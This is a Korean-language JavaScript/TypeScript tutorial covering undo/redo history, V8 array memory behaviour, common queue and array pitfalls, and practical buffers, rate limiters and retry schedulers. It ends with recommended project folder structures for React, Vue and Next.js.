const MAX_HISTORY = 50;
export function historyReducer<T>(s: History<T>, a: Action<T>): History<T> {
switch (a.type) {
case "edit":
if (Object.is(a.value, s.present)) return s; // 같은 값이면 기록 안 함
return {
past: [...s.past, s.present].slice(-MAX_HISTORY), // ★ 상한
present: a.value,
future: [], // 새 편집은 redo 를 지운다
};
case "undo":
if (s.past.length === 0) return s;
return { past: s.past.slice(0, -1), present: s.past.at(-1)!, future: [s.present, ...s.future] };
case "redo":
if (s.future.length === 0) return s;
return { past: [...s.past, s.present], present: s.future[0], future: s.future.slice(1) };
}
}
// edit a → edit ab → edit abc → undo → undo → redo → edit abX → redo
// edit {"past":[""],"present":"a","future":[]}
// edit {"past":["","a"],"present":"ab","future":[]}
// edit {"past":["","a","ab"],"present":"abc","future":[]}
// undo {"past":["","a"],"present":"ab","future":["abc"]}
// undo {"past":[""],"present":"a","future":["ab","abc"]}
// redo {"past":["","a"],"present":"ab","future":["abc"]}
// edit {"past":["","a","ab"],"present":"abX","future":[]}
// redo {"past":["","a","ab"],"present":"abX","future":[]} ← redo 할 것 없음
// Editor.tsx — React 19
import { useReducer } from "react";
import { historyReducer } from "./history";
export function Editor() {
const [h, dispatch] = useReducer(historyReducer<string>, { past: [], present: "", future: [] });
return (
<>
<textarea value={h.present} onChange={(e) => dispatch({ type: "edit", value: e.target.value })} />
<button disabled={!h.past.length} onClick={() => dispatch({ type: "undo" })}>되돌리기</button>
<button disabled={!h.future.length} onClick={() => dispatch({ type: "redo" })}>다시</button>
</>
);
}
성능과 메모리 — elements kind · 칸 크기 · 연결 리스트
V8 은 배열마다 "무엇이 들었나"를 기억해 두고(elements kind) 그에 맞는 빠른 경로를 씁니다. 큐 · 스택처럼 같은 배열을 수백만 번 건드리는 코드에서는 이 차이와 요소당 바이트가 보입니다. 아래 수치는 모두 이 PC(Node 24, 64비트)에서 잰 예시입니다.
재는 법 — mem.mjs (node --expose-gc)
const N = 1_000_000;
function measure(label, make) {
globalThis.gc(); globalThis.gc();
const m0 = process.memoryUsage();
const keep = make();
globalThis.gc(); globalThis.gc();
const m1 = process.memoryUsage();
const bytes = m1.heapUsed - m0.heapUsed + (m1.arrayBuffers - m0.arrayBuffers);
console.log(label.padEnd(20), (bytes / N).toFixed(1), "B/요소");
return keep; // 살려 둬야 GC 가 안 가져감
}
const sink = [];
sink.push(measure("정수 배열", () => { const a = []; for (let i = 0; i < N; i++) a.push(i); return a; }));
sink.push(measure("객체 배열 {id}", () => { const a = []; for (let i = 0; i < N; i++) a.push({ id: i }); return a; }));
sink.push(measure("연결 리스트 노드", () => { let h = null; for (let i = 0; i < N; i++) h = { v: i, next: h }; return h; }));
sink.push(measure("Int32Array", () => { const a = new Int32Array(N); for (let i = 0; i < N; i++) a[i] = i; return a; }));
// 정수 배열 10.4 B/요소
// 객체 배열 {id} 42.4 B/요소
// 연결 리스트 노드 40.0 B/요소
// Int32Array 4.0 B/요소
process.config.variables.v8_enable_pointer_compression = 0)라 칸 하나가 8 바이트입니다.
포인터 압축을 쓰는 런타임(일반적으로 Chrome)에서는 칸이 4 바이트라 수치가 달라집니다 — 비율만 가져가세요.
연결 리스트 큐가 "대개" 지는 이유 — JS 판
100만 개 넣고 전부 꺼내기 (이 PC, 3회째 측정 · 두 번 실행)
Deque (원형 버퍼) 22.6 ms / 28.6 ms
LinkedQueue (노드 객체) 24.9 ms / 40.9 ms
인덱스 포인터 배열 46.0 ms / 32.2 ms
Array push/pop (스택) 32.6 ms / 28.3 ms
시간만 보면 JS 에서는 연결 리스트도 크게 지지 않습니다. 짧게 사는 노드는 V8 의 젊은 세대 GC 가 싸게 치우기 때문으로 보입니다. 하지만 이 결과는 실행마다 흔들렸고, 지는 쪽은 분명히 메모리입니다.
- 노드마다 객체 하나 → 요소당 40 B(배열 칸은 약 10 B). 큐에 100만 개가 쌓이면 40 MB 대 10 MB.
- 노드가 힙 여기저기 흩어져 캐시 지역성이 나쁘고, 큐가 오래 살면 노드가 오래된 세대로 넘어가 GC 비용이 커집니다.
- 임의 접근(
at(i))이 O(n).
yocto-queue 를 쓰는 p-limit 처럼),
중간 노드를 O(1) 로 떼어 내야 하는 LRU 캐시(Map + 이중 연결 리스트).
elements kind — 배열의 숨은 타입 🔴 고급
직접 확인 — %DebugPrint (학습 · 디버깅 전용)
// node --allow-natives-syntax kinds.js 2>&1 | grep "elements kind"
function kind(a) { %DebugPrint(a); } // V8 내부 함수 — 이 플래그 없이는 문법 오류
const a = [1, 2, 3]; kind(a); // PACKED_SMI_ELEMENTS
a.push(1.5); kind(a); // PACKED_DOUBLE_ELEMENTS
a[3] = 4; kind(a); // PACKED_DOUBLE_ELEMENTS ← 안 돌아옴
a.push("x"); kind(a); // PACKED_ELEMENTS
const b = [1, 2, 3]; delete b[1]; kind(b); // HOLEY_SMI_ELEMENTS
const c = [1, 2, 3]; c.length = 10; kind(c); // HOLEY_SMI_ELEMENTS
const d = []; d[5] = 1; kind(d); // HOLEY_SMI_ELEMENTS
const e = new Array(3); kind(e); // HOLEY_SMI_ELEMENTS
const f = Array.from({ length: 3 }, () => 0); kind(f); // PACKED_SMI_ELEMENTS
const g = [1, 2, 3]; g[1] = undefined; kind(g); // PACKED_ELEMENTS (구멍 아님 · 대신 일반화)
%DebugPrint 는 표준이 아니고 V8 버전마다 출력이 바뀝니다. 운영 코드에 넣지 마세요.
"무엇이 HOLEY 를 만드는지" 감을 잡는 용도입니다.
큐 · 스택 코드에 적용하면
| 하지 말 것 | 왜 | 대신 |
|---|---|---|
delete q[0] | 구멍 → HOLEY | head 포인터만 옮기기 (객체 큐라면 q[i] = undefined 도 무방 — 이미 ELEMENTS) |
숫자 큐에 null · 문자열 섞기 | SMI → ELEMENTS 로 일반화 | "없음"은 길이 · 별도 플래그로 |
arr[arr.length + 5] = x | 건너뛴 칸이 구멍 | push |
큰 배열 length = n 로 늘리기 | HOLEY | new Array(n).fill(0) 또는 TypedArray |
이 탭의 Deque 는 new Array(cap) 으로 만들어 HOLEY 로 시작합니다.
고정 크기 버퍼를 인덱스로만 쓰는 구조라 SQ 03 측정에서 문제가 되지 않았지만,
숫자만 담는 고성능 큐라면 Float64Array · Int32Array 링 버퍼가 메모리 · 속도 모두 유리합니다(위 막대 그림).
job.pri 같은 속성 접근이 빠른 인라인 캐시를 탑니다. 필드를 나중에 조건부로 추가하는 객체는 모양이 갈라집니다.
흔한 실수 모음 — 코드 리뷰에서 바로 짚을 것
스택 · 큐를 배열로 다루다 생기는 버그는 대부분 "같은 배열을 여럿이 보고 있다"와 "배열 메서드가 원본을 바꾼다" 두 가지에서 나옵니다. 출력은 모두 이 PC 에서 돌린 그대로입니다.
splice(0) 입니다.① 큰 큐에 shift
const q = [];
// 장애 때 10만 개가 쌓이면
while (q.length) handle(q.shift());
// 10만 개: 556ms (SQ 03 실측)
덱 · 포인터
const q = new Deque();
while (!q.isEmpty())
handle(q.popFront());
// 10만 개: 7ms
② 비교 함수 없는 sort
[10, 9, 1, 100, 25].sort();
// [ 1, 10, 100, 25, 9 ]
// 숫자를 문자열로 바꿔 비교
숫자 비교 함수
[10, 9, 1, 100, 25]
.toSorted((a, b) => a - b);
// [ 1, 9, 10, 25, 100 ]
③ boolean 을 돌려주는 비교
[3, 1, 2].sort((a, b) => a > b);
// [ 3, 1, 2 ] ← 그대로!
// true/false → 1/0, 음수가 없음
음수 · 0 · 양수
[3, 1, 2].sort((a, b) => a - b);
// [ 1, 2, 3 ]
// 문자열: a.localeCompare(b)
④ length = 0 으로 비우기
const pending = ["job1", "job2"];
const snapshot = pending; // 같은 배열
pending.length = 0;
console.log(snapshot); // []
꺼내면서 비우기
const pending = ["job1", "job2"];
const batch = pending.splice(0);
console.log(batch, pending);
// [ 'job1', 'job2' ] []
⑤ 앞에서부터 돌며 splice
const xs = [1, 2, 2, 3];
for (let i = 0; i < xs.length; i++)
if (xs[i] === 2) xs.splice(i, 1);
console.log(xs); // [ 1, 2, 3 ]
// 지우면 뒤가 당겨져 하나 건너뜀
뒤에서부터 · filter
const ys = [1, 2, 2, 3];
for (let i = ys.length - 1; i >= 0; i--)
if (ys[i] === 2) ys.splice(i, 1);
// [ 1, 3 ]
[1, 2, 2, 3].filter((x) => x !== 2);
⑥ 거대한 배열을 펼쳐 push
let a = [];
const big = new Array(200_000).fill(1);
a.push(...big);
// RangeError: Maximum call
// stack size exceeded
// (이 PC: 12만 OK · 13만부터 실패)
하나씩 · concat
for (const x of big) a.push(x);
// 또는
a = a.concat(big);
// 100만 개도 OK
조용히 틀리는 것들 — 예외 없이 잘못 동작 🟡 중급
순회 중인 배열에 push — 의도면 BFS, 아니면 무한 루프
const work = [1];
for (const w of work) { if (w < 4) work.push(w + 1); }
console.log(work); // [ 1, 2, 3, 4 ]
// for...of 는 매번 length 를 다시 봅니다 → 새로 넣은 것도 돈다
// 조건(w < 4)이 없으면 영원히 끝나지 않습니다
// forEach 는 시작할 때의 길이까지만 돕니다 — 둘의 동작이 다릅니다
const w2 = [1];
w2.forEach((w) => { if (w < 4) w2.push(w + 1); });
console.log(w2); // [ 1, 2 ]
queue 로 짓고,
while + 덱으로 의도를 드러내세요.
한 줄 점검표
| 증상 | 원인 → 고치는 법 |
|---|---|
| 큐가 커지자 CPU 100% | shift() O(n) → 덱 · 포인터 (SQ 03) |
| 덱이 비었는데 메모리가 안 줄어듦 | 꺼낸 칸에 참조가 남음 → buf[i] = undefined (SQ 04) |
| 우선순위 큐 순서가 이상함 | 힙 밖에서 키 변경 · 같은 키 FIFO 기대 → 다시 넣기 · seq 키 (SQ 05) |
| 같은 작업이 두 번 실행 | 확인과 꺼내기 사이에 await → 먼저 꺼내기 (SQ 06) |
| 스트림 처리 중 메모리 폭증 | write() 의 false 무시 → 'drain' · pipeline (SQ 07) |
| DB 커넥션 고갈 | Promise.all 로 수천 개 동시 실행 → createLimit · p-limit (SQ 07) |
| React 에서 push 했는데 화면 그대로 | 같은 참조 → [...arr, x] (SQ 08) |
| 숫자 큐가 이유 없이 느려짐 | null · 문자열 섞기 · delete → elements kind 일반화 (SQ 09) |
| 정렬 결과가 1, 10, 100, 2 | 비교 함수 누락 → (a, b) => a - b |
length = 0, 순회 중 splice — 이 넷만 리뷰에서 걸러도 대부분이 막힙니다.다른 언어와 비교 — JS 만 표준이 비어 있다
같은 일을 다른 언어는 표준 라이브러리로 합니다. JS 개발자가 다른 언어 코드를 읽을 때, 반대로 자바 · 파이썬 개발자가 JS 로 올 때 이 표 한 장이면 대응이 됩니다.
| 하는 일 | JS · TS (이 탭) | Java 21+ | Python 3.13 | C# (.NET 6+) | Rust |
|---|---|---|---|---|---|
| 스택 push / pop / peek | push · pop · at(-1) | push · pop · peek (ArrayDeque) | append · pop · [-1] | Push · Pop · Peek | push · pop · last |
| 큐 넣기 / 빼기 | pushBack · popFront (Deque) | offer · poll | append · popleft | Enqueue · Dequeue | push_back · pop_front |
| 빈 경우 | undefined | null(poll) · 예외(remove) | IndexError | 예외 · TryDequeue | Option::None |
| 우선순위 큐 | BinaryHeap<T>(cmp) 직접 | PriorityQueue(Comparator) · 최소 | heapq · 최소 · 함수형 | PriorityQueue<E,P> · 최소 | BinaryHeap · 최대 |
| 유한 큐 · 배압 | Channel<T>(n) · Streams | ArrayBlockingQueue(n) | Queue(maxsize=n) | Channel.CreateBounded | mpsc::sync_channel(n) |
| 비동기 대기 | await ch.receive() | 가상 스레드 + take() | await asyncio.Queue.get() | await reader.ReadAsync() | tokio mpsc recv().await |
| 레거시 · 피할 것 | 큰 큐에 shift | Stack · Vector | list.pop(0) | 비제네릭 Queue | LinkedList 남용 |
같은 "최근 3개만 보관"을 네 언어로
// TypeScript — 표준이 없으니 직접 (SQ 12 의 RecentN)
const recent = new RecentN<string>(3);
recent.add("pay");
# Python — 표준 deque 의 maxlen
from collections import deque
recent = deque(maxlen=3)
recent.append("pay") # 꽉 차면 반대쪽이 자동으로 밀려남
// Java — ArrayDeque 에 크기 제한은 없어 직접 확인
Deque<String> recent = new ArrayDeque<>();
recent.addLast("pay");
if (recent.size() > 3) recent.removeFirst();
// Rust — VecDeque
let mut recent: VecDeque<&str> = VecDeque::with_capacity(3);
recent.push_back("pay");
if recent.len() > 3 { recent.pop_front(); }
다른 언어에서 온 사람이 JS 에서 놀라는 것
- 빈 컬렉션에서 꺼내도 예외가 없다 —
[].pop()은undefined. 파이썬의IndexError, 자바의NoSuchElementException같은 안전망이 없습니다. TS 의T | undefined반환 타입이 그 자리를 대신합니다. - 정렬 기본값이 문자열 비교 — 숫자 배열도
sort()하면 사전순입니다. - 스레드 안전을 고민할 일이 적다 — 객체는 스레드끼리 공유되지 않으므로
ConcurrentLinkedQueue류가 필요 없습니다. 대신 await 사이의 끼어들기를 고민해야 합니다(SQ 06). - "블로킹 take" 가 없다 — 기다림은 전부 Promise. 메인 스레드를 막는 대기는 금지입니다.
- Rust 의
BinaryHeap은 최대 힙, 자바 · 파이썬 · C# 은 최소 힙 — 이 탭의 힙은 comparator 가 방향을 정합니다.
Deque · BinaryHeap · Channel · createLimit 입니다.실무 사례 — 버퍼 · 리미터 · 재시도 · 배치
마지막으로 실제 서비스 코드에서 큐 · 덱 · 힙이 들어가는 자리 다섯 곳입니다. 사례마다 어떤 타입을 왜 고르는지와 돌려 본 결과를 함께 둡니다.
| 사례 | 고를 타입 | 이유 |
|---|---|---|
| 최근 N 개 로그 · 이벤트 | 고정 크기 링 버퍼 RecentN | 오래된 것을 덮어써서 메모리가 일정. 배열 + shift 는 매번 O(n) |
| 레이트 리미터 | 시각을 담은 Deque<number> | 앞에서 만료분 제거 · 뒤에 새 요청 — 양 끝 연산 |
| 재시도 · 지연 작업 | "다음 실행 시각" 최소 힙 | 가장 먼저 도래할 작업만 O(1) 로 확인 |
| 로그 · 분석 이벤트 전송 | 배치 버퍼 (배열 교체) | "N 개 또는 T 초"마다 한 번에 — 네트워크 호출 수를 줄임 |
| 외부 API 대량 호출 | createLimit · p-limit | 동시 실행 수 상한 = 상대 서버와 내 커넥션 풀 보호 |
| 재시작해도 남아야 하는 작업 | BullMQ · SQS · Kafka | 메모리 큐는 프로세스와 함께 사라짐 — NestJS s13 · 대규모 k07 |
① 최근 N 개 · ② 레이트 리미터 (실행 결과)
import { Deque } from "./deque.ts";
// ① 꽉 차면 가장 오래된 것을 덮어쓰는 링 버퍼
export class RecentN<T> {
#buf: (T | undefined)[];
#next = 0;
#count = 0;
constructor(n: number) { this.#buf = new Array<T | undefined>(n); }
add(x: T): void {
this.#buf[this.#next] = x;
this.#next = (this.#next + 1) % this.#buf.length; // n 이 2의 거듭제곱이 아니어도 되게 %
this.#count = Math.min(this.#count + 1, this.#buf.length);
}
toArray(): T[] { // 오래된 것 → 최근 것
const n = this.#buf.length, start = (this.#next - this.#count + n) % n;
return Array.from({ length: this.#count }, (_, i) => this.#buf[(start + i) % n] as T);
}
}
const recent = new RecentN<string>(3);
for (const e of ["login", "view", "cart", "pay", "logout"]) recent.add(e);
console.log(recent.toArray()); // [ 'cart', 'pay', 'logout' ]
// ② 최근 windowMs 안의 허용 시각을 덱에
export class SlidingWindowLimiter {
#hits = new Deque<number>();
readonly limit: number;
readonly windowMs: number;
constructor(limit: number, windowMs: number) { this.limit = limit; this.windowMs = windowMs; }
tryAcquire(now = Date.now()): boolean {
while (!this.#hits.isEmpty() && this.#hits.peekFront()! <= now - this.windowMs) this.#hits.popFront();
if (this.#hits.size >= this.limit) return false;
this.#hits.pushBack(now);
return true;
}
}
const lim = new SlidingWindowLimiter(3, 1000); // 1초에 3번
console.log([0, 100, 200, 300, 999, 1000, 1150, 1250]
.map((t) => `${t}:${lim.tryAcquire(t) ? "O" : "X"}`).join(" "));
// 0:O 100:O 200:O 300:X 999:X 1000:O 1150:O 1250:O
constructor(readonly limit: number) 같은 매개변수 속성은
JS 코드를 만들어 내는 TS 문법이라 Node 24 의 타입 지우기 실행(node file.ts)에서 오류가 납니다.
이 탭의 TS 코드는 전부 타입만 지우면 되는 문법(erasableSyntaxOnly 통과)으로 썼습니다.
③ 재시도 스케줄러 — 최소 힙 + 지수 백오프
import { BinaryHeap } from "./heap.ts";
type Job = { name: string; attempt: number };
type Scheduled = Job & { at: number; seq: number };
export class RetryScheduler {
#heap = new BinaryHeap<Scheduled>((a, b) => a.at - b.at || a.seq - b.seq);
#seq = 0;
schedule(job: Job, at: number) { this.#heap.push({ ...job, at, seq: this.#seq++ }); }
// now 까지 도래한 작업을 실행, 실패하면 100ms · 2^attempt 뒤로 다시 넣는다
tick(now: number, run: (j: Job) => boolean, log: string[]) {
while (this.#heap.size && this.#heap.peek()!.at <= now) {
const job = this.#heap.pop()!;
if (run(job)) { log.push(`${now} ${job.name} 성공`); continue; }
if (job.attempt + 1 >= 4) { log.push(`${now} ${job.name} 포기 → DLQ`); continue; }
const delay = 100 * 2 ** job.attempt;
this.schedule({ name: job.name, attempt: job.attempt + 1 }, now + delay);
log.push(`${now} ${job.name} 실패 → ${now + delay}`);
}
}
}
const sch = new RetryScheduler(), log: string[] = [];
sch.schedule({ name: "메일", attempt: 0 }, 0);
sch.schedule({ name: "웹훅", attempt: 0 }, 0);
const flaky = (j: Job) => (j.name === "메일" ? j.attempt >= 2 : false); // 메일은 세 번째에 성공
for (let now = 0; now <= 1000; now += 100) sch.tick(now, flaky, log);
console.log(log.join("\n"));
// 0 메일 실패 → 100
// 0 웹훅 실패 → 100
// 100 메일 실패 → 300
// 100 웹훅 실패 → 300
// 300 메일 성공
// 300 웹훅 실패 → 700
// 700 웹훅 포기 → DLQ
tick 을 setTimeout(heap.peek().at - Date.now()) 한 번으로 예약하고,
더 이른 작업이 들어오면 타이머를 다시 겁니다. 백오프에 무작위 지터(예: ±20%)를 섞어야 실패한 작업들이 한꺼번에 몰리지 않습니다.
재시작 후에도 재시도가 남아야 하면 BullMQ 의 지연 작업으로 넘기세요.
④ 이벤트 배치 버퍼 — "N 개 또는 T 초"
export type BatchOptions<T> = { maxSize: number; maxWaitMs: number; flush: (batch: T[]) => Promise<void> };
export class BatchBuffer<T> {
#items: T[] = [];
#timer: ReturnType<typeof setTimeout> | null = null;
#flushing: Promise<void> = Promise.resolve();
readonly #opts: BatchOptions<T>;
constructor(opts: BatchOptions<T>) { this.#opts = opts; }
add(item: T): Promise<void> {
this.#items.push(item);
if (this.#items.length >= this.#opts.maxSize) return this.flush();
this.#timer ??= setTimeout(() => void this.flush(), this.#opts.maxWaitMs);
return this.#flushing;
}
flush(): Promise<void> {
if (this.#timer) clearTimeout(this.#timer);
this.#timer = null;
if (this.#items.length === 0) return this.#flushing;
const batch = this.#items; // ★ 배열째 넘기고 새 배열로 교체 (length = 0 금지 — SQ 10)
this.#items = [];
// 앞 flush 가 끝난 뒤 보낸다 — 순서 보장, 실패해도 다음 배치는 진행
this.#flushing = this.#flushing
.then(() => this.#opts.flush(batch))
.catch((e) => console.error("flush 실패", e));
return this.#flushing;
}
}
const t0 = performance.now();
const buf = new BatchBuffer<string>({
maxSize: 3,
maxWaitMs: 200,
flush: async (b) => console.log(`${String(Math.floor((performance.now() - t0) / 100) * 100).padStart(3)}ms 전송`, b),
});
for (const e of ["a", "b", "c", "d"]) void buf.add(e); // 3개 차서 즉시 1번, d 는 대기
await new Promise((r) => setTimeout(r, 300)); // 200ms 타이머로 d 전송
void buf.add("e");
await buf.flush(); // 종료 직전 — 남은 것 강제 전송
// 0ms 전송 [ 'a', 'b', 'c' ]
// 200ms 전송 [ 'd' ]
// 300ms 전송 [ 'e' ]
⑤ 외부 API 대량 호출 — 동시 4개 · 실패 격리
import { createLimit } from "./limit.ts";
const limit = createLimit(4); // 상대 서버가 허용하는 동시 수
async function syncAll(ids: string[], signal: AbortSignal) {
const results = await Promise.allSettled(
ids.map((id) =>
limit(async () => {
signal.throwIfAborted(); // 취소되면 대기 중이던 것도 시작하지 않음
const res = await fetch(`https://api.example.com/items/${id}`, { signal });
if (!res.ok) throw new Error(`${id}: HTTP ${res.status}`);
return res.json();
}),
),
);
const failed = results.filter((r) => r.status === "rejected");
console.log(`성공 ${results.length - failed.length} · 실패 ${failed.length}`);
return results;
}
allSettled 인가 — Promise.all 은 하나만 실패해도 즉시 reject 하지만,
이미 limit 큐에 들어간 나머지는 계속 돕니다. 결과를 버리면서 일만 하는 셈이라, 대량 호출은 allSettled 로 전부 받고
실패만 재시도 큐(③)로 넘기는 것이 깔끔합니다.
폴더는
규모를 따라
한 칸씩 자란다
자바스크립트에는 Maven 같은 정해진 표준 레이아웃이 없습니다. 그래서 같은 React 앱도 팀마다 폴더가 다르고, 파일이 삼백 개쯤 되면 "그 코드 어디 있어요?"가 하루에 몇 번씩 나옵니다. 이 탭은 React SPA · Vue · Next.js · Node 백엔드 · Electron · 모노레포 · 라이브러리의 권장 구조를 한 장씩 놓고, 언제 다음 단계로 넘어가는지를 비교합니다. 프레임워크별 깊은 내용은 각 탭으로 링크하고, 여기서는 고르는 기준만 다룹니다. tsconfig paths · package.json exports · 프로젝트 참조 · workspace:* 동작은 Node 24.14 · TypeScript 5.7 · pnpm 10.33 으로 직접 돌려 본 결과를 옮겼습니다.
공통 바탕 — package.json · tsconfig · src/ 와 규모별 진화
프레임워크가 달라도 바닥은 같습니다. 루트에는 설정, 코드는 src/, 모듈은 ESM, 별칭은 런타임도 아는 방식으로. tsconfig 옵션 하나하나는 🔷 TS 탭 t14 에 있으니, 여기서는 파일이 어디에 놓이고 왜 그런지, 그리고 커지면 어떻게 바뀌는지만 봅니다.
모든 유형의 출발점
my-app/
├─ package.json # 이름 · 스크립트 · 의존성 · "type": "module"
├─ pnpm-lock.yaml # 커밋 필수 · 매니저 하나만 (🧰 도구 o01)
├─ tsconfig.json # 컴파일 옵션 · paths 별칭
├─ eslint.config.js # 설정 파일은 루트에 평평하게 (STR 09)
├─ .env.example # 변수 이름만 커밋 — 값은 .env (커밋 금지)
├─ src/ # ★ 손으로 쓰는 코드는 전부 여기
│ └─ main.ts # 진입점은 하나
├─ public/ # (웹) 가공 없이 복사되는 정적 파일
├─ dist/ # 빌드 산출물 — .gitignore
└─ node_modules/ # .gitignore
규칙 다섯 가지
| 규칙 | 이유 |
|---|---|
| 코드는 src/ 아래만 | tsconfig include · 린트 · 커버리지가 "src 만 보면 된다"로 단순해집니다 |
| "type": "module" | 새 프로젝트는 ESM 이 기본입니다 (🟨 JS 탭 j09) |
| 별칭은 하나, 런타임도 알게 | tsconfig paths 는 타입 검사기만 압니다 — 아래 실험 |
| tsconfig 는 용도별로 | Vite 템플릿처럼 앱용 · 설정 파일용(node)을 나누고 references 로 묶습니다 |
| private: true | 배포하지 않을 앱이 실수로 npm 에 올라가는 것을 막습니다 |
실험 — paths 만 쓰면 실행이 깨집니다
# tsconfig: "paths": { "@/*": ["./src/*"] } · module NodeNext
$ tsc -p . # 오류 없음 — 타입 검사기는 별칭을 압니다
$ cat dist/main.js
import { hello } from "@/utils/greet.js"; # ← 별칭이 그대로 남음
$ node dist/main.js
Error [ERR_MODULE_NOT_FOUND]: Cannot find package '@/utils'
imported from ...\dist\main.js
# package.json 의 "imports" 로 바꾸면 (아래 오른쪽)
$ tsc -p . # 오류 없음 — TS 가 dist/* 를 src/*.ts 로 되짚음
$ node dist/main.js
hi imports
paths 로 충분하고,
tsc 로 컴파일해 node 로 돌리는 서버는 imports 를 씁니다.
서버 · 스크립트의 별칭 — imports
// package.json — Node 가 직접 이해하는 별칭 (# 으로 시작)
{
"name": "shop-api",
"private": true,
"type": "module",
"imports": { "#app/*": "./dist/*" }
}
// src/main.ts
// import { hello } from "#app/utils/greet.js";
한 저장소 안 tsconfig 여러 개 — references
# packages/core 는 composite: true, apps/api 가 references 로 참조
$ tsc -p apps/api # core 를 아직 안 빌드했으면
error TS6305: Output file '.../packages/core/dist/index.d.ts'
has not been built from source file '.../packages/core/src/index.ts'.
$ tsc -b apps/api # ★ -b 는 참조를 따라 core → api 순서로 빌드
Projects in this build:
* packages/core/tsconfig.json
* apps/api/tsconfig.json
❌ 첫날부터 3단계
shop/
├─ apps/web/ # 앱은 하나뿐인데
├─ packages/ui/ # 버튼 세 개짜리 패키지
├─ packages/utils/ # 함수 다섯 개
└─ turbo.json # 캐시할 것이 없는 캐시 설정
✅ 지금 크기에 맞게
shop/
└─ src/
├─ features/cart/ # 기능별 폴더 (2단계)
├─ features/auth/
└─ shared/ui/ # 두 번째 앱이 생기면
# 그때 packages/ui 로 옮깁니다
React SPA — 종류별 vs 기능별 vs Feature-Sliced Design
React 는 폴더에 대해 아무 말도 하지 않습니다. 그래서 세 가지 방식이 실무에 공존합니다. 작을 때는 종류별, 커지면 기능별, 팀이 여럿이면 FSD — 각각 어디서 무너지는지를 알면 고르기 쉽습니다.
① 종류별 (by type)
src/
├─ components/ # 화면 조각 전부 — 60개가 한 폴더에
├─ hooks/ # useCart · useAuth · useDebounce …
├─ pages/ # 라우트 화면
├─ api/ # fetch 함수
├─ store/
└─ utils/ # 잡동사니가 쌓이는 곳
② 기능별 (by feature)
src/
├─ app/ # 라우터 · 프로바이더 · 전역 CSS
├─ features/
│ ├─ cart/
│ │ ├─ CartPanel.tsx
│ │ ├─ useCart.ts
│ │ ├─ cart.api.ts
│ │ └─ index.ts # ★ 밖에 보여 줄 것만 export
│ └─ auth/
└─ shared/ # 업무를 모르는 것만 (Button · http · 날짜)
③ Feature-Sliced Design (FSD)
src/
├─ app/ # 초기화 · 라우터 · 프로바이더
├─ pages/ # 라우트 하나 = 슬라이스 하나
├─ widgets/ # 헤더 · 상품 목록처럼 큰 화면 조각
├─ features/ # 사용자 행동 — add-to-cart · login
├─ entities/ # 업무 개념 — user · product · cart
└─ shared/ # ui · api · lib · config (업무 모름)
features/add-to-cart/
├─ ui/ # 세그먼트: ui · model · api · lib · config
├─ model/
└─ index.ts # 공개 API — 밖에서는 이것만 import
processes 층은 지금은 쓰지 않는 것으로 정리됐습니다.
| 방식 | 맞는 규모 | 무너지는 지점 | 넘어갈 때 |
|---|---|---|---|
| 종류별 | 화면 10개 안팎 · 1~2명 · 학습 · 프로토타입 | components/ 에 50개+ · 기능 하나 지우려면 5개 폴더를 뒤짐 | 기능 단위로 PR 이 나기 시작하면 |
| 기능별 | 대부분의 사내 SPA · 2~8명 | shared/ 가 비대해지고 feature 끼리 서로 import | 팀이 둘 이상 · 경계 다툼이 리뷰마다 |
| FSD | 여러 팀 · 수명이 긴 제품 | 작은 앱에선 층 고민이 코드보다 오래 걸림 | — (린터 Steiger 로 강제, STR 10) |
기능의 공개 API — index.ts
// src/features/cart/index.ts — 밖에서 써도 되는 것만
export { CartPanel } from "./CartPanel";
export { useCart } from "./useCart";
export type { CartItem } from "./cart.types";
// cart.api.ts · 내부 컴포넌트는 내보내지 않습니다
// 다른 곳에서
import { CartPanel } from "@/features/cart"; // ✅
import { fetchCart } from "@/features/cart/cart.api"; // ❌ 내부 직접 접근
규칙 네 가지
- 기능 폴더 안은 평평하게 — 파일 10개 넘을 때만
ui/ · model/로 나눕니다 - feature → feature import 금지 — 둘이 필요하면 page(또는 widget)에서 조립
- shared 는 업무를 모릅니다 — "cart" 라는 단어가 나오면 shared 가 아닙니다
- index.ts 는 기능마다 하나 — 루트 전체 배럴(
src/index.ts)은 순환 참조와 번들 크기 문제를 만듭니다(🟨 j09)
Vue 3 앱 — views · composables · stores
Vue 는 공식 템플릿(npm create vue@latest)이 만든 폴더가 사실상 표준입니다. React 의 기능별 원칙이 그대로 적용되고,
이름만 다릅니다. 컴포넌트 나누는 기준과 폴더 예는 💚 Vue 탭 u12, 컴포저블은 u09, Pinia 는 u10 에 있습니다.
기본형 — create-vue 구조 + composables · api
src/
├─ main.ts # createApp · 플러그인 등록
├─ App.vue
├─ router/index.ts # 라우트 정의 (views 를 지연 로드)
├─ views/ # 라우트 화면 — URL 하나에 파일 하나
├─ components/ # 재사용 UI · BaseButton.vue 처럼 Base 접두사
├─ composables/ # useXxx() — 상태 있는 로직 재사용
├─ stores/ # Pinia — 스토어 하나 = 업무 개념 하나
├─ api/ # 서버 호출 함수
└─ assets/
커지면 — 기능별 모듈
src/
├─ app/ # main.ts · router · 전역 플러그인
├─ modules/
│ ├─ order/
│ │ ├─ views/OrderListView.vue
│ │ ├─ components/OrderRow.vue
│ │ ├─ composables/useOrderFilter.ts
│ │ ├─ order.store.ts # defineStore("order", …)
│ │ ├─ order.api.ts
│ │ └─ routes.ts # 이 기능의 라우트만 → app/router 가 합침
│ └─ member/
└─ shared/ # BaseButton · http · 포맷터
components/ · composables/ · pages/ 폴더 이름 자체가 자동 import 와 라우팅 규약입니다(Nuxt 4 는 app/ 아래).
폴더 이름을 바꾸면 기능이 꺼지니 위 구조를 그대로 옮기지 마세요.
| 무엇을 | 어디에 | 왜 |
|---|---|---|
| 라우트 화면 | views/ 또는 modules/*/views/ | "URL 하나 = 파일 하나"가 보이면 길을 잃지 않습니다 |
| 두 화면이 쓰는 로직 | composables/useXxx.ts | 믹스인 대신 — 출처가 보이는 재사용 |
| 여러 화면이 쓰는 데이터 | stores/ 또는 modules/*/x.store.ts | 컴포넌트 트리와 무관하게 공유 (💚 u10) |
| 한 화면에서만 쓰는 조각 | 그 view 옆 (modules/*/components/) | 전역 components/ 를 비대하게 만들지 않기 |
Next.js App Router — app/ 은 라우트만, 코드는 밖으로
Next.js 는 이 탭에서 유일하게 폴더 구조가 곧 기능인 프레임워크입니다. 폴더가 URL 이 되고 파일 이름이 역할이 됩니다(▲ Next.js 탭 f02). 그래서 오히려 app/ 에 모든 것을 넣고 싶어지는데, 커지면 라우트 트리와 업무 코드가 뒤엉킵니다. 공식 문서도 두 방식을 모두 허용하니, 규모로 고르면 됩니다.
권장형 — 라우트는 얇게, 기능은 features/
src/
